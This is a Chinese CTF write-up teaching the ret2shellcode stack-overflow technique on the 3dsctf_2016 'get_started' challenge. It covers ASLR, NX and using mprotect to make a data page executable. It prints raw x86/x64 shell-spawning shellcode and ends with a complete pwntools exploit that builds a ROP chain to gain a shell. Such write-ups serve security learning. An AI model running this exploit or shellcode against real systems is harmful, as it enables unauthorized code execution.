Bootstrap

ret2shellcode

参考链接 :基本 ROP - CTF Wiki (ctf-wiki.org)
参考链接: 利用mprotec函数修改内存的权限写入shellcode
参考链接: PWN入门(1-3-4)-基本ROP-ret2shellcode (yuque.com)

介绍

栈溢出漏洞的一种利用方式,通过向可写入可执行内存写入shellcode,并利用栈溢出漏洞将返回地址覆盖为shellcode的首地址加以执行。

原理

Shellcode是什么?

shellcode 是一种小型程序代码,通常是以机器码的形式存在,被用于在目标系统上执行特定的服务。

一般来说就是一段可以获得shell的机器码

shellcode的特征和利用

1.自包含性

shellcode通常是自包含的,这意味着它不依赖于外部的库或资源,能够独立运行。

2.编写方式

shellcode 通常是用汇编语言编写的,然后汇编成机器码,这是因为机器码可以直接在目标系统的处理器上执行,并且具有很高的执行效率。

3.常见用途

在CTF中主要用途为获得一个 shell。

shellcode代码

这些都是机器码形式

Linux x86 shellcode

\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

Linux x64 shellcode

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
ret2shellcode

ret2shellcode 即 通过向可写可执行内存中写入shellcode,并利用栈溢出漏洞将指针寄存器执行shellcode地址执行写入的shellcode代码的利用方式。

为了避免 ret2shellcode 利用漏洞,人们研究出了程序保护来防止利用。

下面介绍两个最常见的防止 ret2shellcode 的利用保护。

ASLR保护

ASLR是一个Linux系统保护机制,有效的防止了很多漏洞。

ASLR是操作系统的功能选项,在ELF文件加载到内存的时候发动,会影响到栈、动态链接库、堆的基址。开启后,每次程序加载使栈、动态链接库、堆的基地址都会随机化。

ASLR有三种状态

/proc/sys/kernel/randomize_va_space的值决定着ASLR的状态

1.值为0,地址随机化关闭

2.值为1,随机化stack、mmap映射、vdso

3.值为2,随机化stack、mmap映射、vdso、heap(默认选项)

早期人们将shellcode写入缓冲区执行,但是因为ASLR保护的出现导致这种方法利用难度变高。

倒不是不可以将shellcode写入缓冲区,只不过泄露栈地址难度很高,与其花力气泄露栈地址向栈上写入shellcode还不如直接向数据段写入shellcode。

NX保护

NX保护机制的全写为 NO-Execute(不可执行),NX的原理是将数据所在内存页标识为不可执行,当程序被劫持到数据页(不可执行内存)时,程序会尝试在数据页面上执行指令,因为数据页被标记为不可执行,此时CPU就会抛出异常,而不是去执行数据。

NX保护的出现导致向数据段写入shellcode并执行的方法也不可行了。

一般ret2shellcode的前提是没有NX保护,但是即便存在NX保护在一定条件下也有办法shellcode。

这里介绍一个可以修改内存权限的函数。

mprotect函数,可以改写内存权限

  • 第一个参数:开始地址(为了页对齐,该地址必须是一个内存页的起始地址,即页大小整数倍,1页=4k=0x1000)
  • 第二个参数:指定长度(长度也应该是页的整倍数,即0x1000的整数倍)
  • 第三个参数:指定属性(r=4(读)、w=2(写)、x=1(执行))

如果程序中存在这个函数就可以调用这个函数修改内存权限实现ret2shellcode。

例题

checksec查保护,程序为32位,没有栈溢出保护和地址随机化保护。

在这里插入图片描述

ida打开分析

在这里插入图片描述

分析代码逻辑存在栈溢出。

这题是用来讲shellcode,我就直接讲shellcode的利用了。

搜索函数窗口

发现mprotect函数

在这里插入图片描述

可以通过栈溢出调用mprotect函数修改内存权限,写入shellcode获取shell。

gdb查看内存映射,查看数据段地址
在这里插入图片描述

可以看到起始地址 0x80ea000 到 0x80ec000 为数据段地址

回顾一下,mprotect的第一个参数的内存区间必须包含整个内存页(4K)。区间开始的地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。

由于要求的地址空间为4K的整数倍,因此后三位为 000, 即 mem_addr = 0x80ea000 或 0x80eb000、0x80ec000 都可以。

布栈
在这里插入图片描述
执行read函数后会将标准输入输入的内容写入到指定地址。

将 payload 发送之后再发送 shellcode 即可。

查找gadget

选中一个三次pop的gadget进行平栈。

在这里插入图片描述

根据思路构造exp。

exp

from pwn import *

pwnfile="./get_started_3dsctf_2016"
io=process(pwnfile)
elf=ELF(pwnfile)
context(log_level="debug",arch="i386")

mprotect_addr=elf.symbols["mprotect"]
read=elf.symbols["read"]
mem_addr=0x080Ea000
mem_size=0x1000
mem_proc=0x7

#pop ebp; pop esi; pop edi; ret
pop_addr=0x0809e4c5

payload=b"a"*0x38+p32(mprotect_addr)
payload+=p32(pop_addr)
payload+=p32(mem_addr)+p32(mem_size)+p32(mem_proc)

payload+=p32(read)
payload+=p32(pop_addr)
payload+=p32(0)+p32(mem_addr)+p32(0x100)
payload+=p32(mem_addr)

io.sendline(payload)

#pwntools生成shellcode
pay=asm(shellcraft.sh())
#也可以手写编码
#pay="\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"

io.sendline(pay)

io.interactive()
;